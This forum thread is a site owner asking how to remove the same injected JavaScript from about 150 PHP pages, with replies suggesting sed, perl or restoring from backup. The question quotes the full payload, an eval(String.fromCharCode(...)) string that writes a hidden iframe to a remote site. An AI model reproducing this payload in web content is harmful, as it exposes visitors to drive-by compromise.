LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Newbie (https://www.linuxquestions.org/questions/linux-newbie-8/)
-   -   Replace patterns from linux files. (https://www.linuxquestions.org/questions/linux-newbie-8/replace-patterns-from-linux-files-731599/)

ianeeshps 06-09-2009 03:23 AM
Replace patterns from linux files.
 
Hi All,

is there any way to replace a long pattern including diff lines. For eg. 150 php pages infected with same java code. can we able to search and remove those same pattern. The injected code includes many special characters so is there any way by using sed or anything else.


Thank you.


Suppose the code is likely

<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,106,104,113,119,61,49,50,51,49,49,49,51,43,50,53, 59,118,97,114,32,103,104,103,52,53,61,34,107,97,114,34,59,11 8,97,114,32,119,61,34,108,97,115,116,34,59,118,97,114,32,114,101,54,61,34,46,34,59,118,97,114,32,104 ,50,104,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,10 2,114,34,59,118,97,114,32,115,61,34,104,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105, 116,101,40,39,60,39,43,97,43,39,97,109,101,32,115,114,39,43, 39,99,61,34,39,43,115,43,39,112,58,47,47,39,43,103,104,103,52,53,43,39,39,43,119,43,39,39,43,114,101 ,54,43,39,39,43,104,50,104,43,39,47,39,43,39,34,32,119,105,1 00,39,43,39,116,104,61,34,49,34,32,104,39,43,39,101,105,103,104,116,61,34,51,34,62,60,47,105,102,39, 43,39,114,39,43,39,97,109,101,62,39,41,59,32,102,117,110,99, 116,105,111,110,32,103,103,54,51,52,53,40,41,123,118,97,114,32,97,115,51,49,49,51,61,57,43,55,53,52, 52,59,125,32,118,97,114,32,109,110,98,113,61,52,51,48,52,49, 56,50,52))</script>


normal sed and all is not working w..is there anyway to use commands to remove it

Marko Hyvärinen 06-09-2009 03:58 AM
http://www.cyberciti.biz/faq/sed-how...es-paragraphs/

maby?

Marko

Valery Reznic 06-10-2009 03:06 AM
Quote:
Originally Posted by ianeeshps (Post 3567695)
Hi All,

is there any way to replace a long pattern including diff lines. For eg. 150 php pages infected with same java code. can we able to search and remove those same pattern. The injected code includes many special characters so is there any way by using sed or anything else.


Thank you.
Sure you have a backup of those files ?
Just restore them.
While you may remove this java code in a number of ways, may be something else was changed too.
So restore from backup is more simple (and more safe) way

linusali 06-10-2009 03:23 AM
Quote:
Originally Posted by Valery Reznic (Post 3568888)
Sure you have a backup of those files ?
Just restore them.
While you may remove this java code in a number of ways, may be something else was changed too.
So restore from backup is more simple (and more safe) way
What if you have changed a lot of code after you inserted the Javascript code?

So I would say to use sed or perl to replace the offending code.

Regards,

Valery Reznic 06-10-2009 04:15 AM
Quote:
Originally Posted by linusali (Post 3568907)
What if you have changed a lot of code after you inserted the Javascript code?

So I would say to use sed or perl to replace the offending code.

Regards,
OK, if development is not happened directly on the website. but somewhere else
then it is safe to restore from backup.

If development happened directly on the web - then code can be added to those files after them where hacked. In this case remove injected code may be simpler or even the only option


All times are GMT -5. The time now is 04:21 AM.